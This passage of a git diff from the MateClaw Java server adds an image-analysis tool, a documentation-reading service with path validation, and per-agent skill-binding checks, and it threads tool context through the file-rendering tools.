multimodalRouter.resolveVisionSidecar(); + if (visionModel == null) { + return "尚未配置视觉模型,无法分析图片。请在「设置 → 模型」中将一个具备视觉能力的模型设为默认视觉模型。"; + } + + // Locale null → caption service answers in the question's own language. + MediaCaptionService.CaptionResult result = + mediaCaptionService.caption(visionModel, target, null, question); + if (result.isFailure()) { + log.warn("[image_analyze] caption failed for {} via {}/{}: {}", + target.getFileName(), visionModel.getProvider(), visionModel.getModelName(), + result.failure() == null ? "unknown" : result.failure().getMessage()); + return "视觉模型未能解析该图片(" + safeName(target) + "),请稍后重试或检查视觉模型配置。"; + } + return result.description(); + } + + /** + * Resolve the target image part from the conversation. With a reference, + * matches by filename basename / path / mediaId suffix, scanning newest-first. + * Without one, returns the most recent image part. + */ + private MessageContentPart findImagePart(String conversationId, String reference) { + List messages; + try { + messages = conversationService.listMessages(conversationId); + } catch (Exception e) { + log.warn("[image_analyze] failed to load messages for {}: {}", conversationId, e.getMessage()); + return null; + } + if (messages == null || messages.isEmpty()) { + return null; + } + String ref = reference == null ? null : reference.trim(); + boolean wildcard = ref == null || ref.isBlank() + || ref.equalsIgnoreCase("latest") || ref.equalsIgnoreCase("last"); + for (int i = messages.size() - 1; i >= 0; i--) { + List parts = conversationService.parseMessageParts(messages.get(i)); + for (int j = parts.size() - 1; j >= 0; j--) { + MessageContentPart part = parts.get(j); + if (!isImage(part)) continue; + if (wildcard || matchesReference(part, ref)) { + return part; + } + } + } + return null; + } + + private boolean isImage(MessageContentPart part) { + if (part == null) return false; + String type = part.getType(); + String contentType = part.getContentType(); + boolean image = "image".equals(type) + || ("file".equals(type) && contentType != null && contentType.startsWith("image/")); + return image && !(contentType != null && contentType.contains("svg")); + } + + private boolean matchesReference(MessageContentPart part, String ref) { + if (ref == null) return false; + String basename = ref.contains("/") || ref.contains("\\") + ? ref.substring(Math.max(ref.lastIndexOf('/'), ref.lastIndexOf('\\')) + 1) + : ref; + return endsWithIgnoreCase(part.getFileName(), basename) + || endsWithIgnoreCase(part.getPath(), ref) + || endsWithIgnoreCase(part.getMediaId(), ref); + } + + private boolean endsWithIgnoreCase(String value, String suffix) { + if (value == null || suffix == null || suffix.isBlank()) return false; + return value.toLowerCase().endsWith(suffix.toLowerCase()); + } + + private String safeName(MessageContentPart part) { + String name = part.getFileName(); + return name == null || name.isBlank() ? "image" : name; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocService.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocService.java new file mode 100644 index 00000000..50cb474a --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocService.java @@ -0,0 +1,161 @@ +package vip.mate.tool.builtin; + +import lombok.extern.slf4j.Slf4j; +import org.springframework.core.io.ClassPathResource; +import org.springframework.core.io.Resource; +import org.springframework.core.io.support.PathMatchingResourcePatternResolver; +import org.springframework.stereotype.Component; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +/** + * 内置项目文档(classpath:docs/{zh,en}/*.md)的读取服务。 + * + *

同时服务两类消费方:给智能体运行时用的 {@link MateClawDocTool},以及给前端 + * 文档查看器用的 REST 接口。把 classpath 扫描、路径白名单校验、frontmatter 剥离 + * 等逻辑收敛在这里,避免两处重复。 + */ +@Slf4j +@Component +public class MateClawDocService { + + /** 合法语言目录。 */ + private static final Pattern VALID_LANG = Pattern.compile("^(zh|en)$"); + /** 合法 slug —— 仅小写字母、数字、连字符、下划线,禁止路径穿越。 */ + private static final Pattern VALID_SLUG = Pattern.compile("^[a-z0-9_-]+$"); + /** 兼容 MateClawDocTool 的旧式 "lang/slug.md" 路径。 */ + private static final Pattern VALID_PATH = Pattern.compile("^(zh|en)/[a-z0-9_-]+\\.md$"); + private static final String DOCS_BASE = "docs/"; + /** VitePress 首页,无正文,从用户可见列表中排除。 */ + private static final String INDEX_SLUG = "index"; + + /** 开头的 YAML frontmatter 块:`---\n ... \n---`。 */ + private static final Pattern FRONTMATTER = Pattern.compile("^---\\s*\\n.*?\\n---\\s*\\n", Pattern.DOTALL); + /** frontmatter 里的 `title:` 字段。 */ + private static final Pattern TITLE_FIELD = Pattern.compile("(?m)^title:\\s*(.+?)\\s*$"); + /** 正文里的首个 ATX 一级标题 `# xxx`。 */ + private static final Pattern H1 = Pattern.compile("(?m)^#\\s+(.+?)\\s*$"); + + public record DocMeta(String slug, String title) {} + + /** + * 列出某语言下的全部文档(排除 index.md),按 slug 排序, + * 每篇带一个用于展示的标题。 + */ + public List list(String lang) { + if (lang == null || !VALID_LANG.matcher(lang).matches()) { + return List.of(); + } + List docs = new ArrayList<>(); + try { + PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); + Resource[] resources = resolver.getResources("classpath:docs/" + lang + "/*.md"); + for (Resource r : resources) { + String filename = r.getFilename(); + if (filename == null || !filename.endsWith(".md")) { + continue; + } + String slug = filename.substring(0, filename.length() - ".md".length()); + if (INDEX_SLUG.equals(slug)) { + continue; + } + docs.add(new DocMeta(slug, resolveTitle(r, slug))); + } + } catch (IOException e) { + log.debug("No {} docs found: {}", lang, e.getMessage()); + } + docs.sort((a, b) -> a.slug().compareTo(b.slug())); + return docs; + } + + /** + * 读取 (lang, slug) 对应文档的正文,剥离开头的 YAML frontmatter。 + * + * @return 正文内容;找不到或参数非法时返回 {@code null}。 + */ + public String read(String lang, String slug) { + if (lang == null || !VALID_LANG.matcher(lang).matches()) { + return null; + } + if (slug == null || !VALID_SLUG.matcher(slug).matches()) { + return null; + } + String raw = readRaw(lang + "/" + slug + ".md"); + return raw == null ? null : stripFrontmatter(raw); + } + + /** + * 按 "lang/slug.md" 形式读取原始文件内容(含 frontmatter),用于 + * {@link MateClawDocTool} 的 read action。返回错误字符串以保持其旧契约。 + */ + String readRawForTool(String path) { + if (path == null || path.isBlank()) { + return "Error: 'path' is required when action='read'. Example: 'zh/config.md'"; + } + if (!VALID_PATH.matcher(path).matches()) { + return "Error: Invalid path format. Expected pattern: (zh|en)/.md, e.g. 'zh/config.md'"; + } + String raw = readRaw(path); + return raw == null ? "Error: Document not found: " + path : raw; + } + + private String readRaw(String path) { + try { + ClassPathResource resource = new ClassPathResource(DOCS_BASE + path); + if (!resource.exists()) { + return null; + } + try (InputStream is = resource.getInputStream()) { + String content = new String(is.readAllBytes(), StandardCharsets.UTF_8); + log.info("Read doc {}: {} bytes", path, content.length()); + return content; + } + } catch (IOException e) { + log.error("Failed to read doc {}: {}", path, e.getMessage()); + return null; + } + } + + private String resolveTitle(Resource resource, String slug) { + String raw = null; + try (InputStream is = resource.getInputStream()) { + raw = new String(is.readAllBytes(), StandardCharsets.UTF_8); + } catch (IOException e) { + log.debug("Failed to read doc for title {}: {}", slug, e.getMessage()); + } + if (raw == null) { + return slug; + } + Matcher fm = FRONTMATTER.matcher(raw); + if (fm.find()) { + Matcher title = TITLE_FIELD.matcher(fm.group()); + if (title.find()) { + return unquote(title.group(1)); + } + } + Matcher h1 = H1.matcher(stripFrontmatter(raw)); + if (h1.find()) { + return h1.group(1).trim(); + } + return slug; + } + + private static String stripFrontmatter(String raw) { + Matcher m = FRONTMATTER.matcher(raw); + return m.find() ? raw.substring(m.end()) : raw; + } + + private static String unquote(String s) { + String t = s.trim(); + if (t.length() >= 2 && ((t.startsWith("\"") && t.endsWith("\"")) || (t.startsWith("'") && t.endsWith("'")))) { + return t.substring(1, t.length() - 1).trim(); + } + return t; + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocTool.java index 5dea619b..4619be43 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/MateClawDocTool.java @@ -2,19 +2,12 @@ package vip.mate.tool.builtin; import com.fasterxml.jackson.annotation.JsonProperty; import com.fasterxml.jackson.annotation.JsonPropertyDescription; +import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; -import org.springframework.core.io.ClassPathResource; -import org.springframework.core.io.Resource; -import org.springframework.core.io.support.PathMatchingResourcePatternResolver; import org.springframework.stereotype.Component; -import java.io.IOException; -import java.io.InputStream; -import java.nio.charset.StandardCharsets; -import java.util.ArrayList; import java.util.List; -import java.util.regex.Pattern; /** * MateClaw 项目文档读取工具 @@ -22,10 +15,10 @@ import java.util.regex.Pattern; */ @Slf4j @Component +@RequiredArgsConstructor public class MateClawDocTool { - private static final Pattern VALID_PATH = Pattern.compile("^(zh|en)/[a-z0-9_-]+\\.md$"); - private static final String DOCS_BASE = "docs/"; + private final MateClawDocService docService; @Tool(description = """ Read MateClaw project documentation. @@ -50,100 +43,34 @@ public class MateClawDocTool { if ("list".equalsIgnoreCase(action)) { return listDocs(); } else if ("read".equalsIgnoreCase(action)) { - return readDoc(path); + return docService.readRawForTool(path); } else { return "Error: Unknown action '" + action + "'. Use 'list' or 'read'."; } } private String listDocs() { - try { - PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); - List zhDocs = new ArrayList<>(); - List enDocs = new ArrayList<>(); + StringBuilder sb = new StringBuilder(); + sb.append("MateClaw Documentation\n\n"); - // Scan zh/ docs - try { - Resource[] zhResources = resolver.getResources("classpath:docs/zh/*.md"); - for (Resource r : zhResources) { - String filename = r.getFilename(); - if (filename != null) { - zhDocs.add(filename); - } - } - } catch (IOException e) { - log.debug("No zh docs found: {}", e.getMessage()); - } + sb.append("## 中文文档 (zh/)\n"); + appendGroup(sb, "zh"); - // Scan en/ docs - try { - Resource[] enResources = resolver.getResources("classpath:docs/en/*.md"); - for (Resource r : enResources) { - String filename = r.getFilename(); - if (filename != null) { - enDocs.add(filename); - } - } - } catch (IOException e) { - log.debug("No en docs found: {}", e.getMessage()); - } + sb.append("\n## English Docs (en/)\n"); + appendGroup(sb, "en"); - StringBuilder sb = new StringBuilder(); - sb.append("MateClaw Documentation\n\n"); - - sb.append("## 中文文档 (zh/)\n"); - if (zhDocs.isEmpty()) { - sb.append(" (none)\n"); - } else { - zhDocs.sort(String::compareTo); - for (String doc : zhDocs) { - sb.append(" - zh/").append(doc).append("\n"); - } - } - - sb.append("\n## English Docs (en/)\n"); - if (enDocs.isEmpty()) { - sb.append(" (none)\n"); - } else { - enDocs.sort(String::compareTo); - for (String doc : enDocs) { - sb.append(" - en/").append(doc).append("\n"); - } - } - - sb.append("\nUse readMateClawDoc(action=\"read\", path=\"zh/config.md\") to read a specific doc."); - return sb.toString(); - - } catch (Exception e) { - log.error("Failed to list docs: {}", e.getMessage()); - return "Error: Failed to list documentation files: " + e.getMessage(); - } + sb.append("\nUse readMateClawDoc(action=\"read\", path=\"zh/config.md\") to read a specific doc."); + return sb.toString(); } - private String readDoc(String path) { - if (path == null || path.isBlank()) { - return "Error: 'path' is required when action='read'. Example: 'zh/config.md'"; + private void appendGroup(StringBuilder sb, String lang) { + List docs = docService.list(lang); + if (docs.isEmpty()) { + sb.append(" (none)\n"); + return; } - - // Security: validate path format - if (!VALID_PATH.matcher(path).matches()) { - return "Error: Invalid path format. Expected pattern: (zh|en)/.md, e.g. 'zh/config.md'"; - } - - try { - ClassPathResource resource = new ClassPathResource(DOCS_BASE + path); - if (!resource.exists()) { - return "Error: Document not found: " + path; - } - - try (InputStream is = resource.getInputStream()) { - String content = new String(is.readAllBytes(), StandardCharsets.UTF_8); - log.info("Read doc {}: {} bytes", path, content.length()); - return content; - } - } catch (IOException e) { - log.error("Failed to read doc {}: {}", path, e.getMessage()); - return "Error: Failed to read document: " + e.getMessage(); + for (MateClawDocService.DocMeta doc : docs) { + sb.append(" - ").append(lang).append('/').append(doc.slug()).append(".md\n"); } } } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/PdfRenderTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/PdfRenderTool.java index 0c8f42b0..bbf45e13 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/PdfRenderTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/PdfRenderTool.java @@ -4,6 +4,8 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.tool.document.FilenameSanitizer; import vip.mate.tool.document.GeneratedFileCache; @@ -83,7 +85,8 @@ public class PdfRenderTool { @ToolParam(description = "Page size: A4 or LETTER (default: A4)", required = false) String pageSize, @ToolParam(description = "Engine: 'auto' (default), 'html' (force in-process), or 'libreoffice' (force soffice)", required = false) - String engine) { + String engine, + @Nullable ToolContext ctx) { if (markdown == null || markdown.isBlank()) { return "错误:markdown 参数为空,无法生成 PDF。"; @@ -97,7 +100,7 @@ public class PdfRenderTool { MarkdownPdfRenderer.Result result = renderer.render(markdown, size, eng); log.info("[PdfRender] generated {} ({} bytes via {})", displayName, result.bytes().length, result.backend()); - return GeneratedFileLink.resultZh(result.bytes(), displayName, PDF_MIME, cache, "PDF"); + return GeneratedFileLink.resultZh(result.bytes(), displayName, PDF_MIME, cache, "PDF", ctx); } catch (Exception e) { log.error("[PdfRender] render failed for {}: {}", displayName, e.getMessage(), e); return "渲染失败:" + e.getMessage(); @@ -132,7 +135,8 @@ public class PdfRenderTool { @ToolParam(description = "Page size: A4 or LETTER (default: A4)", required = false) String pageSize, @ToolParam(description = "Engine: 'auto' (default), 'html', or 'libreoffice'", required = false) - String engine) { + String engine, + @Nullable ToolContext ctx) { Resolved input; try { @@ -149,7 +153,7 @@ public class PdfRenderTool { MarkdownPdfRenderer.Result result = renderer.render(input.markdown(), size, eng); log.info("[PdfRender] generated {} ({} bytes via {} from {} bytes md)", displayName, result.bytes().length, result.backend(), input.totalBytes()); - return GeneratedFileLink.resultEn(result.bytes(), displayName, PDF_MIME, cache, "Document", 1); + return GeneratedFileLink.resultEn(result.bytes(), displayName, PDF_MIME, cache, "Document", 1, ctx); } catch (Exception e) { log.error("[PdfRender] render failed for {} (source: {}): {}", displayName, input.sources().get(0), e.getMessage(), e); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/PptxRenderTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/PptxRenderTool.java index 013c90f1..29a62bd6 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/PptxRenderTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/PptxRenderTool.java @@ -4,6 +4,8 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.tool.document.FilenameSanitizer; import vip.mate.tool.document.GeneratedFileCache; @@ -74,7 +76,8 @@ public class PptxRenderTool { @ToolParam(description = "Output filename without extension, e.g. 'pitch-deck'") String filename, @ToolParam(description = "Aspect ratio: '16:9' (default, widescreen) or '4:3' (legacy)", required = false) - String aspectRatio) { + String aspectRatio, + @Nullable ToolContext ctx) { if (markdown == null || markdown.isBlank()) { return "错误:markdown 参数为空,无法生成演示文稿。"; @@ -88,7 +91,7 @@ public class PptxRenderTool { byte[] bytes = renderer.render(markdown, ratio); log.info("[PptxRender] generated {} ({} bytes, {}ms)", displayName, bytes.length, System.currentTimeMillis() - t0); - return GeneratedFileLink.resultZh(bytes, displayName, PPTX_MIME, cache, "演示文稿"); + return GeneratedFileLink.resultZh(bytes, displayName, PPTX_MIME, cache, "演示文稿", ctx); } catch (Exception e) { log.error("[PptxRender] render failed for {}: {}", displayName, e.getMessage(), e); return "渲染失败:" + e.getMessage(); @@ -117,7 +120,8 @@ public class PptxRenderTool { @ToolParam(description = "Output filename without extension, e.g. 'pitch-deck'") String filename, @ToolParam(description = "Aspect ratio: '16:9' (default) or '4:3'", required = false) - String aspectRatio) { + String aspectRatio, + @Nullable ToolContext ctx) { Resolved input; try { @@ -135,7 +139,7 @@ public class PptxRenderTool { log.info("[PptxRender] generated {} ({} bytes from {} bytes md, {}ms)", displayName, bytes.length, input.totalBytes(), System.currentTimeMillis() - t0); - return GeneratedFileLink.resultEn(bytes, displayName, PPTX_MIME, cache, "Presentation", 1); + return GeneratedFileLink.resultEn(bytes, displayName, PPTX_MIME, cache, "Presentation", 1, ctx); } catch (Exception e) { log.error("[PptxRender] render failed for {} (source: {}): {}", displayName, input.sources().get(0), e.getMessage(), e); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SendFileTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SendFileTool.java index 65e8411a..9c2d437a 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SendFileTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SendFileTool.java @@ -121,7 +121,7 @@ public class SendFileTool { String displayName = (fileName != null && !fileName.isBlank()) ? fileName : path.getFileName().toString(); String mimeType = resolveMimeType(displayName); - String url = stash(bytes, displayName, mimeType); + String url = stash(bytes, displayName, mimeType, ctx); log.info("[SendFile] Sending {} ({}, {} bytes) via generated file cache", displayName, mimeType, fileSize); @@ -138,9 +138,9 @@ public class SendFileTool { } } - private String stash(byte[] bytes, String displayName, String mimeType) { + private String stash(byte[] bytes, String displayName, String mimeType, @Nullable ToolContext ctx) { String id = cache.put(bytes, displayName, mimeType); - return "/api/v1/files/generated/" + id; + return cache.downloadUrl(id, ctx); } private String resolveMimeType(String fileName) { diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillFileTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillFileTool.java index b4b73e8b..8b4e2a47 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillFileTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillFileTool.java @@ -6,10 +6,13 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.chat.model.ToolContext; import org.springframework.ai.tool.annotation.Tool; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.agent.context.ChatOrigin; import vip.mate.agent.context.TokenEstimator; +import vip.mate.llm.routing.AgentBindingResolver; import vip.mate.skill.runtime.SkillCatalogSort; import vip.mate.skill.runtime.SkillCatalogSorter; import vip.mate.skill.runtime.SkillFileAccessPolicy; @@ -21,6 +24,7 @@ import java.nio.file.Files; import java.nio.file.Path; import java.util.List; import java.util.Map; +import java.util.Set; import java.util.stream.Collectors; /** @@ -39,6 +43,10 @@ public class SkillFileTool { private final SkillFileAccessPolicy accessPolicy; private final SkillUsageService usageService; + @Lazy + @Autowired + private AgentBindingResolver agentBindingResolver; + @Tool(description = """ Read a file from a skill's directory (SKILL.md, references/, scripts/, or templates/). Use this when you need to access skill documentation or reference files. @@ -80,6 +88,9 @@ public class SkillFileTool { if (skill == null) { return "Error: Skill '" + skillName + "' not found or not enabled"; } + if (!isSkillAllowedForAgent(skill, ctx)) { + return "Error: Skill '" + skillName + "' is not available for this agent."; + } // 特殊处理:读取 SKILL.md if ("SKILL.md".equals(filePath)) { @@ -228,7 +239,9 @@ public class SkillFileTool { public String listSkillFiles( @JsonProperty(required = true) @JsonPropertyDescription("Skill name") - String skillName + String skillName, + + @Nullable ToolContext ctx ) { log.info("Listing skill files: skill={}", skillName); @@ -236,6 +249,9 @@ public class SkillFileTool { if (skill == null) { return "Error: Skill '" + skillName + "' not found or not enabled"; } + if (!isSkillAllowedForAgent(skill, ctx)) { + return "Error: Skill '" + skillName + "' is not available for this agent."; + } StringBuilder sb = new StringBuilder(); sb.append("Skill: ").append(skillName).append("\n\n"); @@ -305,10 +321,13 @@ public class SkillFileTool { @JsonProperty(required = false) @JsonPropertyDescription("Maximum number of skills to return, default 20, max 50") - Integer limit + Integer limit, + + @Nullable ToolContext ctx ) { log.info("Listing available skills"); + Set boundSkillIds = boundSkillIdsFromCtx(ctx); int safeLimit = limit == null || limit <= 0 ? 20 : Math.min(limit, 50); String kw = keyword == null ? "" : keyword.trim().toLowerCase(); // Push freshly installed skills to the top of the truncated page so @@ -325,6 +344,8 @@ public class SkillFileTool { runtimeService.getActiveSkills().stream() .filter(s -> SkillCatalogSorter.sourceMatches(s, source)) .filter(s -> SkillCatalogSorter.runtimeMatches(s, status)) + .filter(s -> boundSkillIds == null + || (s.getId() != null && boundSkillIds.contains(s.getId()))) .filter(s -> kw.isEmpty() || containsIgnoreCase(s.getName(), kw) || containsIgnoreCase(s.getDescription(), kw)) @@ -381,6 +402,28 @@ public class SkillFileTool { return value != null && value.toLowerCase().contains(lowerCaseNeedle); } + /** + * Returns the agent's bound skill IDs from the tool context, or {@code null} + * when no binding restriction applies (agentId missing or agent has no explicit bindings). + */ + @Nullable + private Set boundSkillIdsFromCtx(@Nullable ToolContext ctx) { + Long agentId = ChatOrigin.from(ctx).agentId(); + if (agentId == null) return null; + return agentBindingResolver.getBoundSkillIds(agentId); + } + + /** + * Returns {@code true} when the agent (identified via {@code ctx}) is allowed + * to access {@code skill}: either no explicit binding restriction, or the skill + * id is in the agent's bound set. + */ + private boolean isSkillAllowedForAgent(ResolvedSkill skill, @Nullable ToolContext ctx) { + Set boundSkillIds = boundSkillIdsFromCtx(ctx); + if (boundSkillIds == null) return true; + return skill.getId() != null && boundSkillIds.contains(skill.getId()); + } + private static String statusToken(ResolvedSkill skill) { if (skill.isSecurityBlocked()) return "blocked"; if (!skill.isEnabled()) return "disabled"; diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillLoadTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillLoadTool.java index 7574903e..5409977c 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillLoadTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillLoadTool.java @@ -5,11 +5,17 @@ import lombok.extern.slf4j.Slf4j; import org.springframework.ai.chat.model.ToolContext; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.llm.routing.AgentBindingResolver; import vip.mate.skill.runtime.SkillRuntimeService; import vip.mate.skill.runtime.model.ResolvedSkill; +import java.util.Set; + /** * Explicit skill-load entry point. *

@@ -32,6 +38,10 @@ public class SkillLoadTool { private final SkillRuntimeService runtimeService; private final SkillFileTool skillFileTool; + @Lazy + @Autowired + private AgentBindingResolver agentBindingResolver; + @Tool(name = "load_skill", description = """ Load a skill package's SKILL.md into the conversation. Call this when a skill in the catalog matches the task. @@ -65,6 +75,14 @@ public class SkillLoadTool { return "Error: Skill '" + skillName + "' not found or not enabled. " + "Call listAvailableSkills(keyword=\"" + skillName + "\") to find the correct name."; } + Long agentId = ChatOrigin.from(ctx).agentId(); + if (agentId != null) { + Set boundSkillIds = agentBindingResolver.getBoundSkillIds(agentId); + if (boundSkillIds != null && (skill.getId() == null || !boundSkillIds.contains(skill.getId()))) { + log.info("load_skill: agent {} is not allowed to load skill '{}'", agentId, skillName); + return "Error: Skill '" + skillName + "' is not available for this agent."; + } + } String path = (filePath == null || filePath.isBlank()) ? "SKILL.md" : filePath; log.info("load_skill: loading skill='{}', path='{}'", skillName, path); // Delegate to the shared reader: it resolves the skill, paginates large diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillScriptTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillScriptTool.java index 1f9bb38b..ae3a5a49 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillScriptTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/SkillScriptTool.java @@ -7,8 +7,14 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.model.ToolContext; import org.springframework.ai.tool.annotation.Tool; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.context.annotation.Lazy; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; +import vip.mate.agent.context.ChatOrigin; +import vip.mate.llm.routing.AgentBindingResolver; import vip.mate.skill.runtime.SkillFileAccessPolicy; import vip.mate.skill.runtime.SkillRuntimeService; import vip.mate.skill.runtime.SkillScriptExecutionService; @@ -20,6 +26,7 @@ import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.Map; +import java.util.Set; /** * 技能脚本执行工具 @@ -36,6 +43,10 @@ public class SkillScriptTool { private final SkillSecretService skillSecretService; private final ObjectMapper objectMapper; + @Lazy + @Autowired + private AgentBindingResolver agentBindingResolver; + @vip.mate.tool.ConcurrencyUnsafe("script execution can have arbitrary side effects on the host process and filesystem") @Tool(description = """ Execute a script from a skill's scripts/ directory. @@ -67,7 +78,9 @@ public class SkillScriptTool { @JsonProperty(required = false) @JsonPropertyDescription("Optional script arguments as ONE JSON-encoded string: a JSON array for multiple positional args, a JSON object for a single JSON payload, or plain text for one literal argument.") - String args + String args, + + @Nullable ToolContext ctx ) { log.info("Executing skill script: skill={}, script={}, args={}", skillName, scriptPath, args); @@ -76,6 +89,13 @@ public class SkillScriptTool { if (skill == null) { return formatError("Skill '" + skillName + "' not found or not enabled"); } + Long agentId = ChatOrigin.from(ctx).agentId(); + if (agentId != null) { + Set boundSkillIds = agentBindingResolver.getBoundSkillIds(agentId); + if (boundSkillIds != null && (skill.getId() == null || !boundSkillIds.contains(skill.getId()))) { + return formatError("Skill '" + skillName + "' is not available for this agent."); + } + } // Must be a directory-backed skill. if (skill.getSkillDir() == null) { diff --git a/mateclaw-server/src/main/java/vip/mate/tool/builtin/XlsxRenderTool.java b/mateclaw-server/src/main/java/vip/mate/tool/builtin/XlsxRenderTool.java index c1f728e1..803d221f 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/builtin/XlsxRenderTool.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/builtin/XlsxRenderTool.java @@ -4,6 +4,8 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.ai.tool.annotation.Tool; import org.springframework.ai.tool.annotation.ToolParam; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; import org.springframework.stereotype.Component; import vip.mate.tool.document.FilenameSanitizer; import vip.mate.tool.document.GeneratedFileCache; @@ -66,7 +68,8 @@ public class XlsxRenderTool { @ToolParam(description = "Workbook content in Markdown format (sheets as `# Heading`, tables as `| ... |`)") String markdown, @ToolParam(description = "Output filename without extension, e.g. 'q1-sales'") - String filename) { + String filename, + @Nullable ToolContext ctx) { if (markdown == null || markdown.isBlank()) { return "错误:markdown 参数为空,无法生成工作簿。"; @@ -79,7 +82,7 @@ public class XlsxRenderTool { byte[] bytes = renderer.render(markdown); log.info("[XlsxRender] generated {} ({} bytes, {}ms)", displayName, bytes.length, System.currentTimeMillis() - t0); - return GeneratedFileLink.resultZh(bytes, displayName, XLSX_MIME, cache, "工作簿"); + return GeneratedFileLink.resultZh(bytes, displayName, XLSX_MIME, cache, "工作簿", ctx); } catch (Exception e) { log.error("[XlsxRender] render failed for {}: {}", displayName, e.getMessage(), e); return "渲染失败:" + e.getMessage(); @@ -106,7 +109,8 @@ public class XlsxRenderTool { @ToolParam(description = "Absolute or workspace-relative path to a markdown file") String filePath, @ToolParam(description = "Output filename without extension, e.g. 'quarterly-report'") - String filename) { + String filename, + @Nullable ToolContext ctx) { Resolved input; try { @@ -123,7 +127,7 @@ public class XlsxRenderTool { log.info("[XlsxRender] generated {} ({} bytes from {} bytes md, {}ms)", displayName, bytes.length, input.totalBytes(), System.currentTimeMillis() - t0); - return GeneratedFileLink.resultEn(bytes, displayName, XLSX_MIME, cache, "Workbook", 1); + return GeneratedFileLink.resultEn(bytes, displayName, XLSX_MIME, cache, "Workbook", 1, ctx); } catch (Exception e) { log.error("[XlsxRender] render failed for {} (source: {}): {}", displayName, input.sources().get(0), e.getMessage(), e); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileCache.java b/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileCache.java index e539eda4..97dffcbc 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileCache.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileCache.java @@ -1,8 +1,15 @@ package vip.mate.tool.document; import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.lang.Nullable; import org.springframework.scheduling.annotation.Scheduled; import org.springframework.stereotype.Component; +import org.springframework.web.context.request.RequestAttributes; +import org.springframework.web.context.request.RequestContextHolder; +import org.springframework.web.servlet.support.ServletUriComponentsBuilder; +import vip.mate.agent.context.ChatOrigin; import java.io.IOException; import java.nio.charset.StandardCharsets; @@ -41,6 +48,19 @@ public class GeneratedFileCache { /** Default on-disk location for persisted generated files. */ public static final Path DEFAULT_STORAGE_DIR = Paths.get("data", "generated-files"); + /** Path prefix under which {@link GeneratedFileController} serves files. */ + public static final String DOWNLOAD_PATH_PREFIX = "/api/v1/files/generated/"; + + /** + * Operator-configured public base URL (e.g. {@code 